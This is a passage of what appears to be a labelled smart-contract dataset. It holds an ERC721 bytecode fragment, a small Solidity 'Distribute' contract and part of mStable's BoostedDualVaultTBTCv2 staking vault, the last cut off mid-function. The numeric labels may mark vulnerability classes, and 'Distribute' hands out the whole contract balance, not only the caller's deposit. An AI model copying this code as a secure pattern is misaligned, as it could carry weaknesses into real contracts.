b6109dd5760405162461bcd60e51b81526004016106d0906121ee565b6109b283838361146a565b60006109f383610d37565b8210610a555760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b60648201526084016106d0565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b03163314610aa85760405162461bcd60e51b81526004016106d0906121b9565b604051600090339047908381818185875af1925050503d8060008114610aea576040519150601f19603f3d011682016040523d82523d6000602084013e610aef565b606091505b5050905080610afd57600080fd5b50565b6109b283838360405180602001604052806000815250610fdf565b60606000610b2883610d37565b905060008167ffffffffffffffff811115610b4557610b4561238f565b604051908082528060200260200182016040528015610b6e578160200160208202803683370190505b50905060005b82811015610bb557610b8685826109e8565b828281518110610b9857610b98612379565b602090810291909101015280610bad81612308565b915050610b74565b509392505050565b600a546001600160a01b03163314610be75760405162461bcd60e51b81526004016106d0906121b9565b600d55565b6000610bf760085490565b8210610c5a5760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b60648201526084016106d0565b60088281548110610c6d57610c6d612379565b90600052602060002001549050919050565b600a546001600160a01b03163314610ca95760405162461bcd60e51b81526004016106d0906121b9565b8051610cbc90600b906020840190611c97565b5050565b6000818152600260205260408120546001600160a01b0316806106a05760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016106d0565b60006001600160a01b038216610da25760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016106d0565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314610de85760405162461bcd60e51b81526004016106d0906121b9565b610df26000611615565b565b600a546001600160a01b03163314610e1e5760405162461bcd60e51b81526004016106d0906121b9565b600f55565b6060600180546106fb906122cd565b6000610e3d60085490565b60105490915060ff1615610e5057600080fd5b60008211610e5d57600080fd5b600f54821115610e6c57600080fd5b600e54610e79838361223f565b1115610e8457600080fd5b600a546001600160a01b03163314610eb05781600d54610ea4919061226b565b341015610eb057600080fd5b60015b8281116109b257610ecd33610ec8838561223f565b611667565b80610ed781612308565b915050610eb3565b6001600160a01b038216331415610f385760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016106d0565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b03163314610fce5760405162461bcd60e51b81526004016106d0906121b9565b6010805461ff001916610100179055565b610fe93383611373565b6110055760405162461bcd60e51b81526004016106d0906121ee565b61101184848484611681565b50505050565b600c8054610820906122cd565b6000818152600260205260409020546060906001600160a01b03166110a35760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016106d0565b601054610100900460ff1661114457601180546110bf906122cd565b80601f01602080910402602001604051908101604052809291908181526020018280546110eb906122cd565b80156111385780601f1061110d57610100808354040283529160200191611138565b820191906000526020600020905b81548152906001019060200180831161111b57829003601f168201915b50505050509050919050565b600061114e6116b4565b9050600081511161116e576040518060200160405280600081525061119c565b80611178846116c3565b600c60405160200161118c9392919061200f565b6040516020818303038152906040525b9392505050565b600a546001600160a01b031633146111cd5760405162461bcd60e51b81526004016106d0906121b9565b8051610cbc90600c906020840190611c97565b600a546001600160a01b0316331461120a5760405162461bcd60e51b81526004016106d0906121b9565b8051610cbc906011906020840190611c97565b600a546001600160a01b031633146112475760405162461bcd60e51b81526004016106d0906121b9565b6001600160a01b0381166112ac5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106d0565b610afd81611615565b60006001600160e01b031982166380ac58cd60e01b14806112e657506001600160e01b03198216635b5e139f60e01b145b806106a057506301ffc9a760e01b6001600160e01b03198316146106a0565b600081815260046020526040902080546001600160a01b0319166001600160a01b038416908117909155819061133a82610cc0565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b03166113ec5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016106d0565b60006113f783610cc0565b9050806001600160a01b0316846001600160a01b031614806114325750836001600160a01b03166114278461077e565b6001600160a01b0316145b8061146257506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b031661147d82610cc0565b6001600160a01b0316146114e55760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016106d0565b6001600160a01b0382166115475760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016106d0565b6115528383836117c1565b61155d600082611305565b6001600160a01b038316600090815260036020526040812080546001929061158690849061228a565b90915550506001600160a01b03821660009081526003602052604081208054600192906115b490849061223f565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600a80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b610cbc828260405180602001604052806000815250611879565b61168c84848461146a565b611698848484846118ac565b6110115760405162461bcd60e51b81526004016106d090612167565b6060600b80546106fb906122cd565b6060816116e75750506040805180820190915260018152600360fc1b602082015290565b8160005b811561171157806116fb81612308565b915061170a9050600a83612257565b91506116eb565b60008167ffffffffffffffff81111561172c5761172c61238f565b6040519080825280601f01601f191660200182016040528015611756576020820181803683370190505b5090505b84156114625761176b60018361228a565b9150611778600a86612323565b61178390603061223f565b60f81b81838151811061179857611798612379565b60200101906001600160f81b031916908160001a9053506117ba600a86612257565b945061175a565b6001600160a01b03831661181c5761181781600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b61183f565b816001600160a01b0316836001600160a01b03161461183f5761183f83826119b9565b6001600160a01b038216611856576109b281611a56565b826001600160a01b0316826001600160a01b0316146109b2576109b28282611b05565b6118838383611b49565b61189060008484846118ac565b6109b25760405162461bcd60e51b81526004016106d090612167565b60006001600160a01b0384163b156119ae57604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906118f09033908990889088906004016120d3565b602060405180830381600087803b15801561190a57600080fd5b505af192505050801561193a575060408051601f3d908101601f1916820190925261193791810190611f64565b60015b611994573d808015611968576040519150601f19603f3d011682016040523d82523d6000602084013e61196d565b606091505b50805161198c5760405162461bcd60e51b81526004016106d090612167565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611462565b506001949350505050565b600060016119c684610d37565b6119d0919061228a565b600083815260076020526040902054909150808214611a23576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611a689060019061228a565b60008381526009602052604081205460088054939450909284908110611a9057611a90612379565b906000526020600020015490508060088381548110611ab157611ab1612379565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611ae957611ae9612363565b6001900381819060005260206000200160009055905550505050565b6000611b1083610d37565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216611b9f5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016106d0565b6000818152600260205260409020546001600160a01b031615611c045760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016106d0565b611c10600083836117c1565b6001600160a01b0382166000908152600360205260408120805460019290611c3990849061223f565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054611ca3906122cd565b90600052602060002090601f016020900481019282611cc55760008555611d0b565b82601f10611cde57805160ff1916838001178555611d0b565b82800160010185558215611d0b579182015b82811115611d0b578251825591602001919060010190611cf0565b50611d17929150611d1b565b5090565b5b80821115611d175760008155600101611d1c565b600067ffffffffffffffff80841115611d4b57611d4b61238f565b604051601f8501601f19908116603f01168101908282118183101715611d7357611d7361238f565b81604052809350858152868686011115611d8c57600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b0381168114611dbd57600080fd5b919050565b80358015158114611dbd57600080fd5b600060208284031215611de457600080fd5b61119c82611da6565b60008060408385031215611e0057600080fd5b611e0983611da6565b9150611e1760208401611da6565b90509250929050565b600080600060608486031215611e3557600080fd5b611e3e84611da6565b9250611e4c60208501611da6565b9150604084013590509250925092565b60008060008060808587031215611e7257600080fd5b611e7b85611da6565b9350611e8960208601611da6565b925060408501359150606085013567ffffffffffffffff811115611eac57600080fd5b8501601f81018713611ebd57600080fd5b611ecc87823560208401611d30565b91505092959194509250565b60008060408385031215611eeb57600080fd5b611ef483611da6565b9150611e1760208401611dc2565b60008060408385031215611f1557600080fd5b611f1e83611da6565b946020939093013593505050565b600060208284031215611f3e57600080fd5b61119c82611dc2565b600060208284031215611f5957600080fd5b813561119c816123a5565b600060208284031215611f7657600080fd5b815161119c816123a5565b600060208284031215611f9357600080fd5b813567ffffffffffffffff811115611faa57600080fd5b8201601f81018413611fbb57600080fd5b61146284823560208401611d30565b600060208284031215611fdc57600080fd5b5035919050565b60008151808452611ffb8160208601602086016122a1565b601f01601f19169290920160200192915050565b6000845160206120228285838a016122a1565b8551918401916120358184848a016122a1565b8554920191600090600181811c908083168061205257607f831692505b85831081141561207057634e487b7160e01b85526022600452602485fd5b8080156120845760018114612095576120c2565b60ff198516885283880195506120c2565b60008b81526020902060005b858110156120ba5781548a8201529084019088016120a1565b505083880195505b50939b9a5050505050505050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061210690830184611fe3565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b818110156121485783518352928401929184019160010161212c565b50909695505050505050565b60208152600061119c6020830184611fe3565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000821982111561225257612252612337565b500190565b6000826122665761226661234d565b500490565b600081600019048311821515161561228557612285612337565b500290565b60008282101561229c5761229c612337565b500390565b60005b838110156122bc5781810151838201526020016122a4565b838111156110115750506000910152565b600181811c908216806122e157607f821691505b6020821081141561230257634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561231c5761231c612337565b5060010190565b6000826123325761233261234d565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610afd57600080fdfea2646970667358221220ece06d4427255e04fa70b6034142dcd008e0b95bcc0be654f62896b5eb6402a264736f6c63430008070033
[ 5, 12 ]
0xf3163e55e521bd49521976d43d82d21a9729dc9d
pragma solidity ^0.4.0; contract Distribute { address public owner; constructor() public { owner = msg.sender; } function transferETHS(address[] _tos) payable public returns(bool) { require(_tos.length > 0); uint val = this.balance / _tos.length; for (uint i = 0; i < _tos.length; i++) { _tos[i].transfer(val); } return true; } function () payable public { owner.transfer(this.balance); } }
0x60806040526004361061004b5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416638b44af0e81146100965780638da5cb5b146100f2575b6000805460405173ffffffffffffffffffffffffffffffffffffffff90911691303180156108fc02929091818181858888f19350505050158015610093573d6000803e3d6000fd5b50005b604080516020600480358082013583810280860185019096528085526100de953695939460249493850192918291850190849080828437509497506101309650505050505050565b604080519115158252519081900360200190f35b3480156100fe57600080fd5b506101076101d2565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b600080600080845111151561014457600080fd5b8351303181151561015157fe5b049150600090505b83518110156101c857838181518110151561017057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156101bf573d6000803e3d6000fd5b50600101610159565b5060019392505050565b60005473ffffffffffffffffffffffffffffffffffffffff16815600a165627a7a72305820e8f06efa6d504a94008005d2b9ec2dcccc72ab8135b2c805f4fab91fd681703e0029
[ 11 ]
0xf31739faf305267b6909fdb52bf9ece07364d989
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; // Internal import { IRewardsRecipientWithPlatformToken } from "../../interfaces/IRewardsDistributionRecipient.sol"; import { IBoostedDualVaultWithLockup } from "../../interfaces/IBoostedDualVaultWithLockup.sol"; import { IRewardsDistributionRecipient, InitializableRewardsDistributionRecipient } from "../InitializableRewardsDistributionRecipient.sol"; import { BoostedTokenWrapper } from "./BoostedTokenWrapper.sol"; import { PlatformTokenVendor } from "../staking/PlatformTokenVendor.sol"; import { Initializable } from "../../shared/@openzeppelin-2.5/Initializable.sol"; // Libs import { IERC20, SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { SafeCast } from "@openzeppelin/contracts/utils/math/SafeCast.sol"; import { StableMath } from "../../shared/StableMath.sol"; /** * @title BoostedDualVaultTBTCv2 * @author mStable * @notice Accrues rewards second by second, based on a users boosted balance * @dev Forked from rewards/staking/StakingRewards.sol * Changes: * - Lockup implemented in `updateReward` hook (20% unlock immediately, 80% locked for 6 months) * - `updateBoost` hook called after every external action to reset a users boost * - Struct packing of common data * - Searching for and claiming of unlocked rewards * - Add a second rewards token in the platform rewards */ contract BoostedDualVaultTBTCv2 is IBoostedDualVaultWithLockup, IRewardsRecipientWithPlatformToken, Initializable, InitializableRewardsDistributionRecipient, BoostedTokenWrapper { using SafeERC20 for IERC20; using StableMath for uint256; using SafeCast for uint256; event RewardAdded(uint256 reward, uint256 platformReward); event Staked(address indexed user, uint256 amount, address payer); event Withdrawn(address indexed user, uint256 amount); event Poked(address indexed user); event RewardPaid(address indexed user, uint256 reward, uint256 platformReward); /// @notice token the rewards are distributed in. eg MTA IERC20 public immutable rewardsToken; /// @notice token the platform rewards are distributed in. IERC20 public platformToken; /// @notice contract that holds the platform tokens PlatformTokenVendor public platformTokenVendor; /// @notice total raw balance uint256 public totalRaw; /// @notice length of each staking period in seconds. 7 days = 604,800; 3 months = 7,862,400 uint64 public constant DURATION = 7 days; /// @notice Length of token lockup, after rewards are earned uint256 public constant LOCKUP = 26 weeks; /// @notice Percentage of earned tokens unlocked immediately uint64 public constant UNLOCK = 33e16; /// @notice Timestamp for current period finish uint256 public periodFinish; /// @notice Reward rate for the rest of the period uint256 public rewardRate; /// @notice Platform reward rate for the rest of the period uint256 public platformRewardRate; /// @notice Last time any user took action uint256 public lastUpdateTime; /// @notice Ever increasing rewardPerToken rate, based on % of total supply uint256 public rewardPerTokenStored; /// @notice Ever increasing platformRewardPerToken rate, based on % of total supply uint256 public platformRewardPerTokenStored; mapping(address => UserData) public userData; /// @notice Locked reward tracking mapping(address => Reward[]) public userRewards; mapping(address => uint64) public userClaim; struct UserData { uint128 rewardPerTokenPaid; uint128 rewards; uint128 platformRewardPerTokenPaid; uint128 platformRewards; uint64 lastAction; uint64 rewardCount; } struct Reward { uint64 start; uint64 finish; uint128 rate; } /** * @param _nexus mStable system Nexus address * @param _stakingToken token that is being rewarded for being staked. eg MTA, imUSD or fPmUSD/GUSD * @param _boostDirector vMTA boost director * @param _priceCoeff Rough price of a given LP token, to be used in boost calculations, where $1 = 1e18 * @param _boostCoeff Boost coefficent using the the boost formula * @param _rewardsToken first token that is being distributed as a reward. eg MTA */ constructor( address _nexus, address _stakingToken, address _boostDirector, uint256 _priceCoeff, uint256 _boostCoeff, address _rewardsToken ) InitializableRewardsDistributionRecipient(_nexus) BoostedTokenWrapper(_stakingToken, _boostDirector, _priceCoeff, _boostCoeff) { rewardsToken = IERC20(_rewardsToken); } /** * @dev Initialization function for upgradable proxy contract. * This function should be called via Proxy just after contract deployment. * To avoid variable shadowing appended `Arg` after arguments name. * @param _rewardsDistributorArg mStable Reward Distributor contract address * @param _nameArg token name. eg imUSD Vault or GUSD Feeder Pool Vault * @param _symbolArg token symbol. eg v-imUSD or v-fPmUSD/GUSD */ function initialize( address _rewardsDistributorArg, string calldata _nameArg, string calldata _symbolArg ) external initializer { InitializableRewardsDistributionRecipient._initialize(_rewardsDistributorArg); BoostedTokenWrapper._initialize(_nameArg, _symbolArg); } function setPlatformToken( address _platformToken ) external onlyGovernor { require(address(platformToken) == address(0), "Already set"); platformToken = IERC20(_platformToken); platformTokenVendor = new PlatformTokenVendor(IERC20(_platformToken)); } /** * @dev Updates the reward for a given address, before executing function. * Locks 80% of new rewards up for 6 months, vesting linearly from (time of last action + 6 months) to * (now + 6 months). This allows rewards to be distributed close to how they were accrued, as opposed * to locking up for a flat 6 months from the time of this fn call (allowing more passive accrual). */ modifier updateReward(address _account) { _updateReward(_account); _; } function _updateReward(address _account) internal { uint256 currentTime = block.timestamp; uint64 currentTime64 = SafeCast.toUint64(currentTime); // Setting of global vars ( uint256 newRewardPerToken, uint256 newPlatformRewardPerToken, uint256 lastApplicableTime ) = _rewardPerToken(); // If statement protects against loss in initialisation case if (newRewardPerToken > 0 || newPlatformRewardPerToken > 0) { rewardPerTokenStored = newRewardPerToken; platformRewardPerTokenStored = newPlatformRewardPerToken; lastUpdateTime = lastApplicableTime; // Setting of personal vars based on new globals if (_account != address(0)) { UserData memory data = userData[_account]; uint256 earned_ = _earned( _account, data.rewardPerTokenPaid, newRewardPerToken, false ); uint256 platformEarned_ = _earned( _account, data.platformRewardPerTokenPaid, newPlatformRewardPerToken, true ); // If earned == 0, then it must either be the initial stake, or an action in the // same block, since new rewards unlock after each block. if (earned_ > 0) { uint256 unlocked = earned_.mulTruncate(UNLOCK); uint256 locked = earned_ - unlocked; userRewards[_account].push( Reward({ start: SafeCast.toUint64(LOCKUP + data.lastAction), finish: SafeCast.toUint64(LOCKUP + currentTime), rate: SafeCast.toUint128(locked / (currentTime - data.lastAction)) }) ); userData[_account] = UserData({ rewardPerTokenPaid: SafeCast.toUint128(newRewardPerToken), rewards: SafeCast.toUint128(unlocked + data.rewards), platformRewardPerTokenPaid: SafeCast.toUint128(newPlatformRewardPerToken), platformRewards: data.platformRewards + SafeCast.toUint128(platformEarned_), lastAction: currentTime64, rewardCount: data.rewardCount + 1 }); } else { userData[_account] = UserData({ rewardPerTokenPaid: SafeCast.toUint128(newRewardPerToken), rewards: data.rewards, platformRewardPerTokenPaid: SafeCast.toUint128(newPlatformRewardPerToken), platformRewards: data.platformRewards + SafeCast.toUint128(platformEarned_), lastAction: currentTime64, rewardCount: data.rewardCount }); } } } else if (_account != address(0)) { // This should only be hit once, for first staker in initialisation case userData[_account].lastAction = currentTime64; } } /** @dev Updates the boost for a given address, after the rest of the function has executed */ modifier updateBoost(address _account) { _; _setBoost(_account); } /*************************************** ACTIONS - EXTERNAL ****************************************/ /** * @dev Stakes a given amount of the StakingToken for the sender * @param _amount Units of StakingToken */ function stake(uint256 _amount) external override updateReward(msg.sender) updateBoost(msg.sender) { _stake(msg.sender, _amount); } /** * @dev Stakes a given amount of the StakingToken for a given beneficiary * @param _beneficiary Staked tokens are credited to this address * @param _amount Units of StakingToken */ function stake(address _beneficiary, uint256 _amount) external override updateReward(_beneficiary) updateBoost(_beneficiary) { _stake(_beneficiary, _amount); } /** * @dev Withdraws stake from pool and claims any unlocked rewards. * Note, this function is costly - the args for _claimRewards * should be determined off chain and then passed to other fn */ function exit() external override updateReward(msg.sender) updateBoost(msg.sender) { _withdraw(rawBalanceOf(msg.sender)); (uint256 first, uint256 last) = _unclaimedEpochs(msg.sender); _claimRewards(first, last); } /** * @dev Withdraws stake from pool and claims any unlocked rewards. * @param _first Index of the first array element to claim * @param _last Index of the last array element to claim */ function exit(uint256 _first, uint256 _last) external override updateReward(msg.sender) updateBoost(msg.sender) { _withdraw(rawBalanceOf(msg.sender)); _claimRewards(_first, _last); } /** * @dev Withdraws given stake amount from the pool * @param _amount Units of the staked token to withdraw */ function withdraw(uint256 _amount) external override updateReward(msg.sender) updateBoost(msg.sender) { _withdraw(_amount); } /** * @dev Claims only the tokens that have been immediately unlocked, not including * those that are in the lockers. */ function claimReward() external override updateReward(msg.sender) updateBoost(msg.sender) { uint256 unlocked = userData[msg.sender].rewards; userData[msg.sender].rewards = 0; if (unlocked > 0) { rewardsToken.safeTransfer(msg.sender, unlocked); } uint256 platformReward = _claimPlatformReward(); emit RewardPaid(msg.sender, unlocked, platformReward); } /** * @dev Claims all unlocked rewards for sender. * Note, this function is costly - the args for _claimRewards * should be determined off chain and then passed to other fn */ function claimRewards() external override updateReward(msg.sender) updateBoost(msg.sender) { (uint256 first, uint256 last) = _unclaimedEpochs(msg.sender); _claimRewards(first, last); } /** * @dev Claims all unlocked rewards for sender. Both immediately unlocked * rewards and also locked rewards past their time lock. * @param _first Index of the first array element to claim * @param _last Index of the last array element to claim */ function claimRewards(uint256 _first, uint256 _last) external override updateReward(msg.sender) updateBoost(msg.sender) { _claimRewards(_first, _last); } /** * @dev Pokes a given account to reset the boost */ function pokeBoost(address _account) external override updateReward(_account) updateBoost(_account) { emit Poked(_account); } /*************************************** ACTIONS - INTERNAL ****************************************/ /** * @dev Claims all unlocked rewards for sender. Both immediately unlocked * rewards and also locked rewards past their time lock. * @param _first Index of the first array element to claim * @param _last Index of the last array element to claim */ function _claimRewards(uint256 _first, uint256 _last) internal { (uint256 unclaimed, uint256 lastTimestamp) = _unclaimedRewards(msg.sender, _first, _last); userClaim[msg.sender] = uint64(lastTimestamp); uint256 unlocked = userData[msg.sender].rewards; userData[msg.sender].rewards = 0; uint256 total = unclaimed + unlocked; if (total > 0) { rewardsToken.safeTransfer(msg.sender, total); } uint256 platformReward = _claimPlatformReward(); emit RewardPaid(msg.sender, total, platformReward); } /** * @dev Claims any outstanding platform reward tokens */ function _claimPlatformReward() internal returns (uint256) { uint256 platformReward = userData[msg.sender].platformRewards; if (platformReward > 0) { userData[msg.sender].platformRewards = 0; platformToken.safeTransferFrom( address(platformTokenVendor), msg.sender, platformReward ); } return platformReward; } /** * @dev Internally stakes an amount by depositing from sender, * and crediting to the specified beneficiary * @param _beneficiary Staked tokens are credited to this address * @param _amount Units of StakingToken */ function _stake(address _beneficiary, uint256 _amount) internal { require(_amount > 0, "Cannot stake 0"); require(_beneficiary != address(0), "Invalid beneficiary address"); _stakeRaw(_beneficiary, _amount); totalRaw += _amount; emit Staked(_beneficiary, _amount, msg.sender); } /** * @dev Withdraws raw units from the sender * @param _amount Units of StakingToken */ function _withdraw(uint256 _amount) internal { require(_amount > 0, "Cannot withdraw 0"); _withdrawRaw(_amount); totalRaw -= _amount; emit Withdrawn(msg.sender, _amount); } /*************************************** GETTERS ****************************************/ /** * @dev Gets the RewardsToken */ function getRewardToken() external view override(IRewardsDistributionRecipient, IRewardsRecipientWithPlatformToken) returns (IERC20) { return rewardsToken; } /** * @dev Gets the PlatformToken */ function getPlatformToken() external view override returns (IERC20) { return platformToken; } /** * @dev Gets the last applicable timestamp for this reward period */ function lastTimeRewardApplicable() public view override returns (uint256) { return StableMath.min(block.timestamp, periodFinish); } /** * @dev Calculates the amount of unclaimed rewards per token since last update, * and sums with stored to give the new cumulative reward per token * @return 'Reward' per staked token */ function rewardPerToken() public view override returns (uint256, uint256) { (uint256 rewardPerToken_, uint256 platformRewardPerToken_, ) = _rewardPerToken(); return (rewardPerToken_, platformRewardPerToken_); } function _rewardPerToken() internal view returns ( uint256 rewardPerToken_, uint256 platformRewardPerToken_, uint256 lastTimeRewardApplicable_ ) { uint256 lastApplicableTime = lastTimeRewardApplicable(); // + 1 SLOAD uint256 timeDelta = lastApplicableTime - lastUpdateTime; // + 1 SLOAD // If this has been called twice in the same block, shortcircuit to reduce gas if (timeDelta == 0) { return (rewardPerTokenStored, platformRewardPerTokenStored, lastApplicableTime); } // new reward units to distribute = rewardRate * timeSinceLastUpdate uint256 rewardUnitsToDistribute = rewardRate * timeDelta; // + 1 SLOAD uint256 platformRewardUnitsToDistribute = platformRewardRate * timeDelta; // + 1 SLOAD // If there is no StakingToken liquidity, avoid div(0) // If there is nothing to distribute, short circuit if ( totalSupply() == 0 || (rewardUnitsToDistribute == 0 && platformRewardUnitsToDistribute == 0) ) { return (rewardPerTokenStored, platformRewardPerTokenStored, lastApplicableTime); } // new reward units per token = (rewardUnitsToDistribute * 1e18) / totalTokens uint256 unitsToDistributePerToken = rewardUnitsToDistribute.divPrecisely(totalSupply()); uint256 platformUnitsToDistributePerToken = platformRewardUnitsToDistribute.divPrecisely( totalRaw ); // return summed rate return ( rewardPerTokenStored + unitsToDistributePerToken, platformRewardPerTokenStored + platformUnitsToDistributePerToken, lastApplicableTime ); // + 1 SLOAD } /** * @dev Returned the units of IMMEDIATELY claimable rewards a user has to receive. Note - this * does NOT include the majority of rewards which will be locked up. * @param _account User address * @return Total reward amount earned * @return Platform reward claimable */ function earned(address _account) public view override returns (uint256, uint256) { (uint256 rewardPerToken_, uint256 platformRewardPerToken_) = rewardPerToken(); uint256 newEarned = _earned( _account, userData[_account].rewardPerTokenPaid, rewardPerToken_, false ); uint256 immediatelyUnlocked = newEarned.mulTruncate(UNLOCK); return ( immediatelyUnlocked + userData[_account].rewards, _earned( _account, userData[_account].platformRewardPerTokenPaid, platformRewardPerToken_, true ) ); } /** * @dev Calculates all unclaimed reward data, finding both immediately unlocked rewards * and those that have passed their time lock. * @param _account User address * @return amount Total units of unclaimed rewards * @return first Index of the first userReward that has unlocked * @return last Index of the last userReward that has unlocked */ function unclaimedRewards(address _account) external view override returns ( uint256 amount, uint256 first, uint256 last, uint256 platformAmount ) { (first, last) = _unclaimedEpochs(_account); (uint256 unlocked, ) = _unclaimedRewards(_account, first, last); (uint256 earned_, uint256 platformEarned_) = earned(_account); amount = unlocked + earned_; platformAmount = platformEarned_; } /** @dev Returns only the most recently earned rewards */ function _earned( address _account, uint256 _userRewardPerTokenPaid, uint256 _currentRewardPerToken, bool _useRawBalance ) internal view returns (uint256) { // current rate per token - rate user previously received uint256 userRewardDelta = _currentRewardPerToken - _userRewardPerTokenPaid; // Short circuit if there is nothing new to distribute if (userRewardDelta == 0) { return 0; } // new reward = staked tokens * difference in rate uint256 bal = _useRawBalance ? rawBalanceOf(_account) : balanceOf(_account); return bal.mulTruncate(userRewardDelta); } /** * @dev Gets the first and last indexes of array elements containing unclaimed rewards */ function _unclaimedEpochs(address _account) internal view returns (uint256 first, uint256 last) { uint64 lastClaim = userClaim[_account]; uint256 firstUnclaimed = _findFirstUnclaimed(lastClaim, _account); uint256 lastUnclaimed = _findLastUnclaimed(_account); return (firstUnclaimed, lastUnclaimed); } /** * @dev Sums the cumulative rewards from a valid range */ function _unclaimedRewards( address _account, uint256 _first, uint256 _last ) internal view returns (uint256 amount, uint256 latestTimestamp) { uint256 currentTime = block.timestamp; uint64 lastClaim = userClaim[_account]; // Check for no rewards unlocked uint256 totalLen = userRewards[_account].length; if (_first == 0 && _last == 0) { if (totalLen == 0 || currentTime <= userRewards[_account][0].start) { return (0, currentTime); } } // If there are previous unlocks, check for claims that would leave them untouchable if (_first > 0) { require( lastClaim >= userRewards[_account][_first - 1].finish, "Invalid _first arg: Must claim earlier entries" ); } uint256 count = _last - _first + 1; for (uint256 i = 0; i < count; i++) { uint256 id = _first + i; Reward memory rwd = userRewards[_account][id]; require(currentTime >= rwd.start && lastClaim <= rwd.finish, "Invalid epoch"); uint256 endTime = StableMath.min(rwd.finish, currentTime); uint256 startTime = StableMath.max(rwd.start, lastClaim); uint256 unclaimed = (endTime - startTime) * rwd.rate; amount += unclaimed; } // Calculate last relevant timestamp here to allow users to avoid issue of OOG errors // by claiming rewards in batches. latestTimestamp = StableMath.min(currentTime, userRewards[_account][_last].finish); } /** * @dev Uses binarysearch to find the unclaimed lockups for a given account */ function _findFirstUnclaimed(uint64 _lastClaim, address _account) internal view returns (uint256 first) { uint256 len = userRewards[_account].length; if (len == 0) return 0; // Binary search uint256 min = 0; uint256 max = len - 1; // Will be always enough for 128-bit numbers for (uint256 i = 0; i < 128; i++) { if (min >= max) break; uint256 mid = (min + max + 1) / 2; if (_lastClaim > userRewards[_account][mid].start) { min = mid; } else { max = mid - 1; } } return min; } /** * @dev Uses binarysearch to find the unclaimed lockups for a given account */ function _findLastUnclaimed(address _account) internal view returns (uint256 first) { uint256 len = userRewards[_account].length; if (len == 0) return 0; // Binary search uint256 min = 0; uint256 max = len - 1; // Will be always enough for 128-bit numbers for (uint256 i = 0; i < 128; i++) { if (min >= max) break; uint256 mid = (min + max + 1) / 2; if (block.timestamp > userRewards[_account][mid].start) { min = mid; } else { max = mid - 1; } } return min; } /*************************************** ADMIN ****************************************/ /** * @dev Notifies the contract that new rewards have been added. * Calculates an updated rewardRate based on the rewards in period. * @param _reward Units of RewardToken that have been added to the pool */ function notifyRewardAmount(uint256 _reward) external override(IRewardsDistributionRecipient, 